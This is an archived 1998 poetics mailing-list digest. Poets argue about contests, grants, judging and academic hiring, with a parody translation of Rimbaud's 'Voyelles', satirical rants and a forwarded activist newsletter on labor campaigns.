>It certainly does, but we also have to remember that the hoops are for those
>who want to pursue that kind of *professional* development, which is different
>for many of us from our *writerly* development.
>
>They seem like two different jobs. Some people pursue one or the other, and
>some pursue both. I think there's a sense that those who pursue the
>professional trappings are somehow less "pure" than those who don't. But what's
>wrong with someone doing the whole national publisher/award/nepotism circuit if
>it suits them? To think that the high-top crowd loses out on something because
>there are all these credentialed professional poets out there seems silly.
>Harvard isn't going to hire someone with a single chapbook to their credit, no
>matter *how* good the chapbook is. Not because Harvard is evil, but because
>it's a business.

>
>And I can't help but wonder with amusement if perhaps one reason there's such a
>call for those with heavy, specifically national publishing credits isn't
>because the university's don't know *how* to judge poetry, and figure they'd
>better go with someone someone else has recognized. The cover your ass factor
>seems high.
>
>

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67. **Ron Silliman**
Re: Where is Tom Raworth
Sat 3 Oct 1998

Got an email from Tom about 10 days ago. He was in Capetown, South Africa at the time,

Ron

_____
Get Your Private, Free Email at http://www.hotmail.com

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68. **Joe Amato/Kass Fleisher**
Re: Judging
Sat 3 Oct 1998

---

oh hell, and while i'm here, i may as well admit to that wee bit of confrontational rhetoric in my last post...

i was trying to say that i try not to judge too harshly those who tend to judge too harshly... but that, at times, i find it real fucking tough...

and really: it's difficult for me to sit across the table from a "mainstream" writer whose work i admire, while he bashes the very work that i cherish---by association bashing my work... esp. when the entire publishing apparatus he so values is implicitly and explicitly oriented toward sanctioning his work and not mine...

(please to insert appropriate pronouns for "he" and "his" and "i" and "my" and "mine")...

those in positions of power should be held accountable---by who else? but by those NOT in positions of power... harvard, e.g., is a case in point... clinton is another (which is not to say that i think he should resign, btw)...

and on a related note: i must confess that the contest circuit has really become nauseating to me... last time i browsed through the awp chronicle (yes, i'm a member) i saw a "potluck" contest (i sincerely hope i'm not trampling over anyone's feelings here)... it struck me as, well, so precious, yknow---but i really can't imagine it emerging from any but the most privileged notions of authorship and publication...

ysee you say these things aloud, you get yourself in trouble...

best,

joe

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69. A. Jenn Sondheim

Judging

Sat 3 Oct 1998

Some of us need money just to survive and we are quite isolated. And there is no money or just not enough. So a grant and a contest can be a big thing. And if we do not belong to a circuit or a group at all the chance is we will holler in the wind if we apply for such a grant and a contest. This is just so evident it hardly needs to be said. There are no verifying principles in the arts and we tend most often but not all of us to cluster and influence each other. So of course we will give a money and a prize to those of our friends who we find when we are on committee. This is so natural it hardly needs to be said. But some of us are just so isolated that we can be published because there is room for that but in a grant and a contest there is no room because it is easier to find magazine room than grant room. So we will be published but we will just never have enough money for anything. This is always the case of the world and while I do not like it and even suffer from it, I must say to my friends when they ask, this is always the case of the world. Now I will go play.

- Jennifer

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70. R.Gancie/C.Parcelli
Re: Judging
Sat 3 Oct 1998

I resent Mr. Amato's harsh and impolitic remarks. How could poetry have achieved its current stature within the culture at large without compromise? Compromise and capitulation are two ways we develop a sense of community. Just ask Congress or any other "cigar filled room."

Prizes, awards and grants also build a sense of community. Hasn't Mr. Amato ever been to a state fair and watched as the blue ribbon was pinned on the prize heifer?

How naive of Mr. Amato to insist that poetry be a meritocracy while all these egos are still walking around breathing. Besides, not only is the meritricious more applicable to the living, because we often desire not to offend, it is more inclusive.

Further, you can't judge a great poet the same way you can judge say a great CEO, politician or weapons designer. Standards for poetry have to be found outside of poetry itself in places like the academy.

In this we are greatly aided, as Ms. Lederer points out, by adopting the buddy system of corporate America. 'Objective' criticism is devisive and unmannerly. Therefore by harnessing the unmannerly element of competition within a system of awards, prizes, grants and publications, we can pretend to standards higher than Bill Gates, Billy Sol Estes and Bebe Rebozo. I've noticed that some major poets lately have become "too big to fail" just like some banks, corporations and brokerage houses. And as for friends, the great Roman arbitrager, Commodious, wrote "A friend is just a stranger that you let get close enough to kill you." (His power of prophecy were amazing. Most murders in America ARE committed by someone who knows the victim.)

That we poets have adopted the ethos of the marketplace with virtually none of its procribed benefits, points only to the need for more prizes and grants. Journalists now lead the list in numbers of awards and prizes that they present to their fellows in the profession. Need I say more, my dear Mr. Amato.---Carlo Parcelli, compadre

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71. A. Jenn Sondheim
Re: Judging
Sat 3 Oct 1998

Just give me enough money to pay for basic medical and maybe a bit of living expenses and I'll say anything you want in regard to heifers or big poets or little

poets or academic tenured jobs or even academic part-time jobs, we all need money, we're all desperate for it, just enough to survive not to mention buying poetry books which are a lot of money unless you belong to a coterie going to send you free stuff or unless you're teaching somewhere nice, even these discussions are privileged, I can hardly afford my ISP, Jennifer

↑ Index

72. Eliza McGrand
Re: Judging
Sat 3 Oct 1998

---

what on EARTH is "potluck contest" joe? i'm trying to imagine...

- you bring your own prize? and choose who you think should get it, i.e. "..hmmm, i'll bring that set of potholders aunt alice crocheted, and the plaster dog with the basket in his mouth with just that little chip by the tail... o.k., good summer ku, i'll give it the plaster dog..."

- everyone brings one line, and you all assemble togehter a poem for the evening? and everyone gets to take some words home, if there are any leftovers?

- everyone brings a peice of writing, and you all put it together in a book, and then vote on which peice of writing you like best, and the person who got the most votes wins, and everyone gets to take home a couple books, but the winner gets to take home a bunch?...

this reminds me of when someone told me some car dealership was offering "golden keys" and i spent weeks thinking they must give you some tacky fake gold key shaped plaque to hang in your rec room or something, and who would actually want something like THAT, and, god help me, i actually said as much, something like "well that dealership offers golden keys, like who would want one of those on their wall" to a group of friends and i have NEVER heard the end of it...

e

↑ Index

73. R.Gancie/C.Parcelli
Re: Judging
Sat 3 Oct 1998

A. Jenn Sondheim wrote:
>
> Just give me enough money to pay for basic medical and maybe a bit of

> living expenses and I'll say anything you want in regard to heifers or big
> poets or little poets or academic tenured jobs or even academic part-time
> jobs, we all need money, we're all desperate for it, just enough to
> survive not to mention buying poetry books which are a lot of money unless
> you belong to a coterie going to send you free stuff or unless you're
> teaching somewhere nice, even these discussions are privileged, I can
> hardly afford my ISP, Jennifer
What happened to the cute, sweet Jennfer?

↑ Index

74. d.j. huppatz
judging
Sat 3 Oct 1998

"What bothered us was that in renouncing judgement we had the impression that we were depriving ourselves of all means of marking differences between existents, between modes of existence, as if from that point everything was of the same value. But is it not rather judgement which presupposes pre-existent criteria (superior values), and pre-existent for all time (to the infinity of time), in such a way that it cannot apprehend what is new in an existent, nor even have a presentiment of the creation of a mode of existence? ... Judgement prevents any new mode of existence from arriving."

-Gilles Deleuze, To Be Done With Judgement

↑ Index

75. R.Gancie/C.Parcelli
Re: judging
Sat 3 Oct 1998

---

d.j. huppatz wrote:
>
> "What bothered us was that in renouncing judgement we had the impression
> that we were depriving ourselves of all means of marking differences
> between existents, between modes of existence, as if from that point
> everything was of the same value. But is it not rather judgement which
> presupposes pre-existent criteria (superior values), and pre-existent for
> all time (to the infinity of time), in such a way that it cannot apprehend
> what is new in an existent, nor even have a presentiment of the creation of
> a mode of existence? ... Judgement prevents any new mode of existence from
> arriving."
>
> -Gilles Deleuze, To Be Done With Judgement

I like the sentiment here, but it is a commonplace and in and of itself constitutes a judgment---actually a series of them.---cp

↑ Index

76. Gabriel Gudding
Re: judging
Sat 3 Oct 1998

On Sun, 4 Oct 1998, d.j. huppatz wrote:

> "*What bothered us was that in renouncing judgement we had the impression that we were depriving ourselves of all means of marking differences between existents, between modes of existence, as if from that point everything was of the same value. But is it not rather judgement which presupposes pre-existent criteria (superior values), and pre-existent for all time (to the infinity of time), in such a way that it cannot apprehend what is new in an existent, nor even have a presentiment of the creation of a mode of existence? ... Judgement prevents any new mode of existence from arriving.*"
>
> *-Gilles Deleuze, To Be Done With Judgement*

y.) Ahh, yes. Very fine once again to have the good old french bunny rabbit pulled out of the hat at last:

z.) that clears things up thank you thank you.

↑ Index

77. Mark Weiss
Re: Judging
Sat 3 Oct 1998

Reminds me of the Prix Queneau, my personal favorite. The poet/novelist Raymond Queneau, who spent his working hours overseeing the most establishment of all French presses (tho the term hardly translates into our sense of established), once a year would don full dress attire, go to Les Halles in the wee hours, and buy a bushel of oysters. Then he would knock on the door of the writer whose book he had liked best in the previous year, and when the bleary-eyed winner answered the door he'd shove the oysters into his arms, announcing, "You have pleased me," and leave.

So what is a gold key?

At 07:01 PM 10/3/98 -0400, you wrote:
>what on EARTH is "potluck contest" joe? i'm trying to imagine...
>
>- you bring your own prize? and choose who you think should get it, i.e.

>"..hmmm, i'll bring that set of potholders aunt alice crocheted, and the
>plaster dog with the basket in his mouth with just that little chip by
>the tail... o.k., good summer ku, i'll give it the plaster dog..."
>
>- everyone brings one line, and you all assemble togehter a poem for
>the evening? and everyone gets to take some words home, if there are
>any leftovers?
>
>- everyone brings a peice of writing, and you all put it together in a
>book, and then vote on which peice of writing you like best, and the
>person who got the most votes wins, and everyone gets to take home a
>couple books, but the winner gets to take home a bunch?...
>
>this reminds me of when someone told me some car dealership was offering
>"golden keys" and i spent weeks thinking they must give you some tacky
>fake gold key shaped plaque to hang in your rec room or something, and
>who would actually want something like THAT, and, god help me, i actually
>said as much, something like "well that dealership offers golden keys, like
>who would want one of those on their wall" to a group of friends and i have
>NEVER heard the end of it...
>
>e
>
>

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78. **d.j. huppatz**
Re: judging
Sun 4 Oct 1998

At 08:31 PM 10/3/98 -0400, you wrote:
>d.j. huppatz wrote:
>>
>> "What bothered us was that in renouncing judgement we had the impres-
sion
>> that we were depriving ourselves of all means of marking differences
>> between existents, between modes of existence, as if from that point
>> everything was of the same value. But is it not rather judgement which
>> presupposes pre-existent criteria (superior values), and pre-existent for
>> all time (to the infinity of time), in such a way that it cannot apprehend
>> what is new in an existent, nor even have a presentiment of the creation of
>> a mode of existence? ... Judgement prevents any new mode of existence

from
>> arriving."
>>
>> -Gilles Deleuze, To Be Done With Judgement
>I like the sentiment here, but it is a commonplace and in and of itself
>constitutes a judgment---actually a series of them.---cp
>
Commonplace perhaps but needs come out again & again because competition is
such an integral part of the literary industry. There must be a better way
of distributing money. As Joe pointed out, it comes back to community - it
seems absurd to pluck out one lucky winner out of a community of writers.
The potluck idea sounds more appealing (the "ideal game": an affirmation of
chance ...

To push the country fair/prize heifer idea even futher, does anyone take bets on literary prizes? The Booker or the Nobel Prize or some such? Now there's a business idea if someone's not already doing it ...

Dan Huppatz
Melbourne

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79. Rachel Levitsky
Re: Murfreesboro
Sun 4 Oct 1998

Thomas Bell do you know Short Mountain, the intentional community of the Radical Fairies. Lots of creative folks there.

↑ Index

80. A. Jenn Sondheim
Rimbaud's Voyelles
Sun 4 Oct 1998

(I am so sorry for my rancor and offer my translation of Rimbaud's Voyelles in Tribute to Everyone! Thank you, Jennifer! Now the fun begins (below!)!)

Rimbaud's (Voyelles) Vowels

Hey, A Black!, E White, I('m) Read! YAY!, U(ni)Verse (Green), Oh so Blue: Hey, vowels, Just one of these Days I'm Gonna speak to your New Words! So what? Hey, A Black Corset, Neat Large and Rotund Nipples Every Day (Sorry, Wrong

Line), Well, just covered with big old Sparkle-Flies! Bombing and lots of Cruel Smells, O You can Imagine and Now

There's Shadowy Gulfs of E, all vapors and something called "tentes" and Lots of Candor Here! Then there's glacial and fiery spears and something else, wait, White Kings yes shaking something called "Ombelles" Without the Capital, I's pretty lipping after and bloody perky Visage! wouldn't You Say I? In anger, or the usual drunken Penitents? And where'd this Extra Line "Come in"?

U(ni)Cycles Divine and terrific Vibrations in Viridian Seas!, this is U! Peaceful animals all around something and peace of Taking Rides that Alchemy impresses everyone on the grand and studious fronts, maybe "Foreheads" wouldn't U think if U could? Grand and Very Serious Sages just for You and they Know all these Words too!

Now this big terrific Clairion Trumpets, full of strange Stridencies Made of O, you know, dOn't you? I'm Jennifer giving you This Terrific Trance- lation! Silences just rush around Worlds, Angels, Avatars, and even Julu Comes in for O Nikuk-O! Heh! O's just the very end of it, Omega's his Name and You'll Never guess his Game, it's the Violet Ray of his I's (way out of Order, _here!_).

And if there were still An other A-Vowel in my Native French, it would go Here, aw, Go on Jennifer, Y not? The pun laps Big Seas of Marble! And How Do I know! I'm Arthur Rimbaud!

↑ Index

81. R. Gancie/C.Parcelli

Re: Rimbaud's Voyelles

Sun 4 Oct 1998

Oh, right your that grant sniffing, academic poet, A. Jenn Rimbaud. Your no Rimbaud, pal. Your talented, but that's all the more reason not to be whining about this little grant hand out or that pop gun prize. Rimbaud was never cute and never compromised. Christ, if you were Rimbaud you would've already abandoned writing for a career in business which legend holds also included a shot at the slave trade. In this day and age, give up writing and buy and sell human beings and you may just be in line for the Dynamite Prize.
A. Jenn Sondheim wrote:
>
> (I am so sorry for my rancor and offer my translation of Rimbaud's
> Voyelles in Tribute to Everyone! Thank you, Jennifer! Now the fun
> begins (below!)!)

> ----------
>
> Rimbaud's (Voyelles) Vowels
>
> Hey, A Black!, E White, I('m) Read! YAY!, U(ni)Verse (Green), Oh so Blue:
> Hey, vowels, Just one of these Days I'm Gonna speak to your New Words!
> So what? Hey, A Black Corset, Neat Large and Rotund Nipples Every Day
> (Sorry, Wrong Line), Well, just covered with big old Sparkle-Flies!
> Bombing and lots of Cruel Smells, O You can Imagine and Now
>
> There's Shadowy Gulfs of E, all vapors and something called "tentes" and
> Lots of Candor Here! Then there's glacial and fiery spears and something
> else, wait, White Kings yes shaking something called "Ombelles" Without
> the Capital, I's pretty lipping after and bloody perky Visage! wouldn't
> You Say I? In anger, or the usual drunken Penitents? And where'd this
> Extra Line "Come in"?
>
> U(ni)Cycles Divine and terrific Vibrations in Viridian Seas!, this is U!
> Peaceful animals all around something and peace of Taking Rides that
> Alchemy impresses everyone on the grand and studious fronts, maybe
> "Foreheads" wouldn't U think if U could? Grand and Very Serious Sages
> just for You and they Know all these Words too!
>
> Now this big terrific Clairion Trumpets, full of strange Stridencies Made
> of O, you know, dOn't you? I'm Jennifer giving you This Terrific Trance-
> lation! Silences just rush around Worlds, Angels, Avatars, and even Julu
> Comes in for O Nikuk-O! Heh! O's just the very end of it, Omega's his Name
> and You'll Never guess his Game, it's the Violet Ray of his I's (way out
> of Order, _here!_).
>
> And if there were still An other A-Vowel in my Native French, it would go
> Here, aw, Go on Jennifer, Y not? The pun laps Big Seas of Marble! And How
> Do I know! I'm Arthur Rimbaud!
>
> _____

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82. Ralph Wessman
Re: contests in a world, not a hotel room
Sun 4 Oct 1998

> *can you talk about how you opened your contests,*
> *presses, magazines, reading series, grant panels,*
> *to work from people you DIDNT know, to the*
> *BIG world outside the small one?*

Welcome back Eliza.

Its great to be open to contributors - across borders for instance - and not just from within your own backyard.

But its just so costly. With the current exchange rate, ten dollars for a poem becomes seventeen, a money order is another ten ... then theres postage.

It can be inhibiting.

Ralph Wessman / Hobart

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83. R. Gancie/C.Parcelli
Re: Judging
Sun 4 Oct 1998

It was a joke, man. I thought Joe was right on, but needs to cut down on his caveats.

But let's play. Poetry has greater "stature" now that it has been removed from the streets and resides in the academy which of course is more respectable. This new respectability, largely a product of the emphasis placed on civic values and the importance of one's own feelings characteristic of the Neo-Georgian School, has encouraged people from all walks of life to "make their little poems" as Rod Jellema is fond of putting it. Ted Turner and Michael Milke(m) write poetry, as does Secretary of Defense Cohen, Jeanne Kirkpatrick and Caspar Weinberger. Former CIA Director William Colby published a collection of short lyrics entitled Swimming Lessons published by Reader's Digest. The late, great king of military psy-ops, Edward Landsdale is said to have attempted an epic poem in the style of Vergil embracing the entire history of Southeast Asia.

When I purchased part of Paul Linebarger's library, the author of Psychological Warfare and one of iits major practitioners, I found "little poems" dealing with the quaint domestic conundrums of life among Washington's social set like whether he should sit Sukarno's widow next to Richard Helms at a dinner party. These little literary bon mots, as Michael Dirda of the Washington Post would undoubtedly describe them, were wedged in the pages of books on techniques

for psychological torture, a technique in and of itself that would have intrigued Hannah Arendt.

Whittaker Chambers was a poet as was Harry Truman's handler, Jimmy Byrnes. A document recently released as FOIA #10345, reveals that 38% of the veterans of the Phoenix Program published books of poetry (albeit mostly with obscure vanity presses) within 10 years of termination of service so convincing a technique among the criminally sanctioned has been the Confessional School, the precursor of the New-Georgians. Norman Schwarzkopf writes love sonnets and villanelles, a fact that would have really upset his daddy, a former bagman for the DIA.

There are whole schools of poetry that I'm certain you know nothing about. There is the Los Alamos School, the Richard Dailey Memorial Democratic Machine School, the Pinkerton School, the Madison Avenue School, the Hollywood School, the Manifest Destiny School, the Veterans of Foreign Wars School (a big school; very sentimental), the School of the Americas, the Chicago School, the Navy Seals school; I could go on and on, ad nauseam. But they all have one thing in common; they write like Gerald Stern. Now that's serious influence. That's "STATURE".

So how can you question poetry's current "stature". Bill Cohen can adopt the liberal, do gooder ethos in a poem he's writing from his vacation home on Monday and fly in on Tuesday just in time to have his handlers tell him how to handle a lethal airstrike or police action. Poetry has such incredible "stature" now because it's so flexible. You can say nothing and insist you're doing it in the name of left-wing radicalism, even Marxism. You can establish a white middle class, college educated income between $27,500 and $78,000 per annum, I'm-so-full-that-I'm-empty-I-have-to-tell-the-world-about-it profile for poetry then uncritically apply it as a universal standard like "free market democracies", "technological revolutions", "20% return on your investments" and other such fictions. Christ, that fucker Robert Hass did that very thing in his little, kitty litterature box in the Book World of today's sad and sorry Washington Post The brutal, colonial history of the Philippines was reduced to that Neo-Georgian sentimental drivel and then praised and supported with whitey's prizes, fellowships and grants; the same blood money that some of my friends here on the list lust after. Read that poor pathetic excuse for a prize-winning poem and you just smell the stench of oppression. "Returning a Borrowed Language" or whatever the anthology is called, my ass. Can't wash all those murders off with that Neo-Georgian technique. Doesn't wash of. Can't even burn it off.

So Mark. That is what I mean by "stature". The power to be part of murderous institutions and at the same time claim to be confronting them. When I defended some elements of the social science community Soakl, Gross & Levitt on

this list, all I got was ignorant rancor which amounted to a blind defense of those same institutions. In that case as it turned out, the stink went right back to Richard Mellon Scaife and other defenders of the money.

I'm reminded of the words of another poet here in Washington. The lapsed Jesuit, misogynist, T.V. pundit John McLaughlin. Big Loud John once said, "Whores? Whores!? We're all whores! But I'm the whore with the T.V. show!!" See, all we lack is the fucking ratings.

Thanks, for the setup Mark. I got a migraine and can't read anyway.
As for Amato. I mentioned his name to The Family. I think he knows what
I mean. The Jimmy Hoffa School.
Mark DuCharme wrote:
>
> C. Parcelli wrote:
>
> >I resent Mr. Amato's harsh and impolitic remarks. How could poetry have
> >achieved its current stature within the culture at large without
> >compromise?
>
> While I appreciate the need to compromise for the sake of realism or
> politesse, I'm just wondering what kind of "current stature" you think
> poetry has achieved. Hmm, maybe we ought to try _less_ compromise; from
> the point of view of visibility or popularity (which, I'll be the first
> to acknowledge, are not the only or necessarily even the most valid
> yardsticks), poetry doesn't seem to have much stature within the culture
> AT LARGE at all.
>
> & Personally, I didn't feel Joe was being so harsh & impolitic... but
> then again, I can sympathize with his point of view, however much it is
> true in the end that capitulations have to be made...
>
> --Mark DuCharme
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

↑ Index

84. Joe Amato/Kass Fleisher

Re: judging

Sun 4 Oct 1998

---

carlo's got me smiling here!...

actually, e, i can't recall now whether the 'potluck' thing was a contest or a call for poetry... hmmmm... but here again, the way such an appeal is situated in the awp chronicle, the effect is pretty much the same (for yours truly, that is)... in fact i'm blanking in part b/c i find such stuff so discouraging...

we've had some good examples here of contests that are entirely on the up & up, as well as contests that serve a particular community well, bringing money into the hands of those who need it... what i was trying to establish was a particular aspect of contests---the way they're deployed in academe, under the "creative writing" rubric---that leaves a lot to be desired... for a spell i too was under their spell---but not any longer... the closest i'll come to submitting anything i write to a contest is the nea grant system...

now i can imagine a contest where favors are par for the course... we've covered this ground here on poetics before---in my soon-to-be-former humanities dept., we have an annual writing contest where students are SUPPOSED to ask instructor/judges for help on their entries... obviously the work of those students who do this year in and year out will become a known quantity in relatively short order... any attempt at blind review is thereby defeated from the start... but this is the way this contest has been proposed and run for many years now...

i'm not saying, btw, that i'm entirely comfortable with this, either... but i AM saying that EVERYONE involved knows how this works, has worked...

not so when you use "national" contests and "national" presses and the like to discriminate between "promising" and "unpromising" writers in a *national* job search for a creative writing professor... this latter is an entirely different affair, and if the contests aren't entirely on the up & up, you're messing with bread & butter issues... and no---i don't think that *everyone* knows how this works---whether we're talking the contest/awards system itself or the way said awards are used by search committees... i suppose, on the one hand, part of being a "professional" is being aware of same... but this doesn't make such apparatus any the more appealing, or necessary...

of course i can imagine the counterargument quite easily---that winning such awards and participating in such contests is key part of one's "professional development"... but then, once again, and as dan h has just indicated, one would have to ask just what sort of "professional community" is thereby encouraged...

which is what brought me out of lurk in the first place---i think the question of corrupt contests, though interesting in some ways, is less significant, finally, than that of the question of judging itself... this latter has been the subject, too, of some discussion here wrt the slam scene... but i'm only keeping with what i know best---how academic creative writers are brought into the fold...

and one more thing (and also discussed here in the past): there are plenty of (imho) shoddy poetry contests and organizations out there... you all know what i'm talking about---the one's that offer, e.g., "anthologies" of winning poetry for the so-called entry fee... we can all talk about the cultural work done by reams of hallmark card verse---this is a legitimate way of discussing such stuff---but really, we all know, too, that the bulk of work submitted into these contests is, well, pretty uninformed...

anyway, tell me: how might you distinguish the so-called "important" contests from these 'populist' operations, anyway?---if not by some appeal to evaluating on the up & up??? (WHATEVER one makes of contests and judging)...

best,

joe

↑ Index

85. Ward Tietz
Robert Lax's address
Sun 4 Oct 1998

As far as I know Robert Lax still lives on the Greek island of Patmos. We performed his Black/White Oratorio last year in Geneva with the assistance of John Beer who was helping Lax prepare his papers for an archive that's been recently established at the Friedsam Library at St. Bonaventure University in N.Y. You might try them for an exact address.

Ward Tietz

↑ Index

86. Kent Shaw
Re: judging
Sun 4 Oct 1998

-----Original Message----- I really can't believe that anyone would call poetry a "small community". And perhaps this is touching a subject completely separate from the fact that grants are biased, and contests looking for "new writers" are tacitly requiring that an MFA and list of journal publications be included. But this idea of a small community is one of the problems itself. So many egos and ambitions only looking up to be accepted into this elite cadre of professional poets and forgetting what the term community means.

I can and will draw a personal example. Here in St. Louis I helped to put together a spoken word CD of entirely unpublished voices. From our one independent bookstore, I was offered a list of the 200 "literary" people from the city,

some of them my own professors, some of them teaching MFA to poets on this disk, some of them people that coordinate poets to come here from out-of-town. None of them showed up. I guess they decided they just didn't have time to come and listen.

But isn't that what community is? Isn't community sometimes sacrificing time to the unknown? By the fact that they are publishing, I can see they have personal ambitions that stretch outside of St. Louis. And that's fine. But I think there are many times when the wish to get into this "small community" makes some poets forget that they need to listen as much as they need to write. Especially because the audience for poetry IS small (compared to the audience for novels or TV), and I'm ultimately one of that small audience that's perhaps going to buy the journal or book they end up publishing.

Kent Shaw.

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87. KENT JOHNSON
(Fwd) SAWSJ Information List
Sun 4 Oct 1998

------- Forwarded Message Follows -------
Date: Tue, 29 Sep 1998 00:22:56 -0400 (EDT)
From: J Saws <[redacted]>
To: SAWSJ Information List <>
Subject: SAWSJ Information List

==========

Scholars, Artists, and Writers for Social Justice (SAWSJ)
Information List
September 28, 1998
Web site: www.sage.edu/html/SAWSJ

==========

Contents:

1. INTRODUCTION: WHAT IS THE SAWSJ INFORMATION LIST?

2. BEVERLY ENTERPRISES'S SUIT AGAINST ROSEMARY TRUMP AND SEIU 585

3. ORGANIZING MEETING FOR SAWSJ IN NEW JERSEY

4. NATIONWIDE ACTIONS TO END CHILD LABOR AND SWEATSHOP ABUSES, OCTOBER 3rd

5. THIRD WORLD NEWSREEL CELEBRATES ITS 30TH ANNIVERSARY; PRESENTS NEW DOCUMENTARY "ANOTHER BROTHER"

6. SENATE PASSES BILL ON NO FUNDING FOR MINORITIES IN COLLEGE!!

7. SYRACUSE WORKERS WIN STRIKE! LETTER FROM ORGANIZER

8. CULTURAL STRATEGY WORKSHOP TO BE HELD AT POOR PEOPLES SUMMIT IN PHILADELPHIA

9. NATIONWIDE CAMPUS EFFORT IN FARMWORKER BOYCOTT

10. SUPPORT MONTHLY REVIEW PRESS

==========

1. INTRODUCTION: WHAT IS THE SAWSJ INFORMATION LIST?

A number of responses to last week's e-mailing made it clear that we need to more clearly define the purpose of this list and its relation to SAWSJ. The list is run by SAWSJ with the goal of providing a medium for information exchange and discussion among intellectuals, artists, and activists involved in, and in solidarity with the multicultural, international working-class movement. The list's orientation is activist rather than scholarly, in the sense that we want to carry messages that are mainly concerned with possibilities for organizing and action. Most SAWSJ members subscribe to the list, but the majority of the subscribers to this large list are not in SAWSJ, although they clearly share a broad political outlook with SAWSJ. Likewise, the messages that are posted to the list are not officially endorsed by SAWSJ unless this is clearly stated.

For example, the messages, posted in August, that solicited support to the Tom Leedham Legal and Accounting Fund and the TDU's Teamster Rank and File Education and Legal Defense Foundation (TRF) -- the messages that irked Hoffa Jr. and crowd -- were not endorsed by SAWSJ but were for the information of subscribers. The notices posted in support of the Flint GM strikers, or of Kate Bronfenbrenner against Beverly Enterprises, however, were SAWSJ initiatives -- and that was clearly stated.

Our hopes are that we can turn the current list into a vital forum for ideas on how to build the struggle. We, however, have no interest in trying to make it into a simple transmission belt for SAWSJ.

Andor Skotnes

==========

2. BEVERLY ENTERPRISES'S SUIT AGAINST ROSEMARY TRUMP AND SEIU 585

The last e-mailing to the SAWSJ Information List included a call to e-mail the Speaker of the House in support of Rosemary Trump and SEIU 585 in their fight against the Beverly Enterprises defamation suit (see SAWSJ web site for the details of the suit). Unfortunately, the e-mail address given didn't work for some of us, although it apparently did for others. It seems that the e-mail address given for Gingrich was correct, but may be programmed to receive e-mail selectively. Whatever the case, if you want to send a support message on this issue you can:

1) try the e-mail address again;

2) access Gingrich's web site at http://www.house.gov/gingrich/ and send your message via its embedded e-mail function;

3) write him at 2428 Rayburn House Office Building, United States House of Representatives, Washington, D.C. 20515; or

4) phone his aides at [redacted] or [redacted].

==========

3. ORGANIZING MEETING FOR SAWSJ IN NEW JERSEY

ALL NEW JERSEY FRIENDS AND MEMBERS OF SAWSJ ARE INVITED
TO ATTEND THE ORGANIZATIONAL MEETING OF NEW JERSEY
SAWSJ ON FRIDAY, OCT.2, AT 7PM...

Come out to the founding meeting of
NEW JERSEY SAWSJ
October 2, 1998
Friday at 7pm
Labor Education Center, Room 115
Ryders Lane & Clifton Avenue
Cook/Douglass Campus, Rutgers University
New Brunswick, NJ

For more information about NJ/Rutgers SAWSJ write
[redacted] or call [redacted].

==========

4. NATIONWIDE ACTIONS TO END CHILD LABOR AND SWEATSHOP ABUSES, OCTOBER 3rd

The National Labor Committee (NLC), the New York based anti-sweatshop organization that uncovered the Kathie Lee child-labor scandal, has announced a new two-year campaign focusing on the world's largest retailer, Wal-Mart. The "People's Right to Know" campaign demands that corporations:

1) disclose to the public in what factories their goods are being produced; 2) open factory doors to truly independent monitoring by local religious and human rights organizations; 3) pay a living wage and respect local and international labor law (including the right to organize).

On October 3rd around the U.S. and Canada, activists, Unions, church groups, and students will hold demonstrations and other actions at Wal-Mart locations demanding that Wal-Mart respect human and worker rights at it's thousands of factories and stores. Over 80% of Wal-Mart clothing is made overseas, far exceeding the industry average of 60%. There will be a large demonstration in New York at the Kathie Lee/ ABC/ Disney studios across from Lincoln Center at 1 o'clock on Saturday October 3rd. Please join the National Labor Committee in this day of protest and consider having your labor organization/ student group/ community association etc. endorse the campaign. Call [redacted] for more info.

National Labor Committee
275 7th Ave. 15th Floor
New York, NY 10001
www.nlcnet.org

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5. THIRD WORLD NEWSREEL CELEBRATES ITS 30TH ANNIVERSARY; PRESENTS NEW DOCUMENTARY "ANOTHER BROTHER"

Clarence Fitch was a man of and for his times, an African American who witnessed and took part in the social movements and the history of this country from the turbulent sixties through the present decade. Award-winning filmmaker Tami Gold brings his life to the screen in her new documentary ANOTHER BROTHER. Telling a story fraught with both heroism and tragedy, Gold uses Fitch's life as a jumping-off point to explore a remarkable range of issues -- racism, the Black civil rights movement, the Vietnam War and its aftermath, the scourge of drugs, and finally the AIDS crisis.

ANOTHER BROTHER is being presented by the Museum of Modern Art in celebration of Third World Newsreel's 30th Anniversary on Thursday, October 8, at 6:30 pm and on Friday, October 9th at 3:00 pm in the Roy and Niuta Titus Theater 2, 11 West 53 Street, New York City.

ANOTHER BROTHER is anchored in Fitch's early years growing up in Harlem and Jersey City, his memories of a tight-knit working class family, and his growing awareness of American racism. A wealth of archival footage is combined with period music, a memorable original score, and the recollections of Fitch's family, friends, and Fitch himself. The documentary follows Fitch as he enlists in the Marines and finds himself in Vietnam where he encounters the harsh realities and violence of the war, as well as the enduring racism of the military. Fitch survives only to return to New Jersey angry, alienated, outspokenly anti-war, and with a drug habit.

Deftly moving from the personal to the wider political canvass, and back again, ANOTHER BROTHER both honors its subject and digs deeply into the roots of his struggles. The social upheaval surrounding Fitch, from inner city riots and anti-war demonstrations to Fitch's new-found workplace activism, is pointedly on display in the documentary. Gold however gives this complex legacy a new slant by using her character's individual journey, with its attendant crises, as the prism through which to see his times.

Clarence became a leader among returned veterans, working against military intervention and for peace throughout his life. He fathered a daughter, who as a grown-up young woman provides one of the most poignant voices in ANOTHER BROTHER. But years of heroin use eventually took its toll. Five years after going into rehabilitation and becoming drug-free, Fitch fell ill from pneumonia and was diagnosed with AIDS. ANOTHER BROTHER closes with this last battle in Fitch's life.

ANOTHER BROTHER speaks on many levels to diverse audiences: high school and college students, African American viewers who find in Clarence a role model and an individual whose life illustrates the deep impact of racism, and all Americans who seek to understand the challenging times in which we live.

"Inspiring documentary which recounts the tale of a Black Vietnam War vet who returned home to Jersey City and somehow managed, even though he was battling heroin addiction and AIDS, to become an anti-war activist, high-school mentor and community leader a Reel American hero." Jessica Lustig TIME OUT NEW YORK

"A compelling, must see documentary of the Vietnam War period, Black life, and a social commentary that depicts the richness of a hero who never stopped fighting for his country, community and people." Job Mashariki, Executive Director Black Veterans for Social Justice

"Tremendous! An incredibly powerful film that brings contemporary history to life. ANOTHER BROTHER follows the complex and often difficult life of Clarence Fitch, who despite great adversity was able to retain hope and commit himself to social change. This illuminating film is more than the story of one

man's life, it's a story about the power of redemption." Bill Fletcher, Jr., Director of Education, AFL-CIO

ANOTHER BROTHER was made possible with the support of The Aaron Diamond Foundation, PSC-CUNY Research Grant, the Robeson Fund, the Puffin Foundation, Carol Bernstein Ferry and the A.J. Muste Memorial Institute.

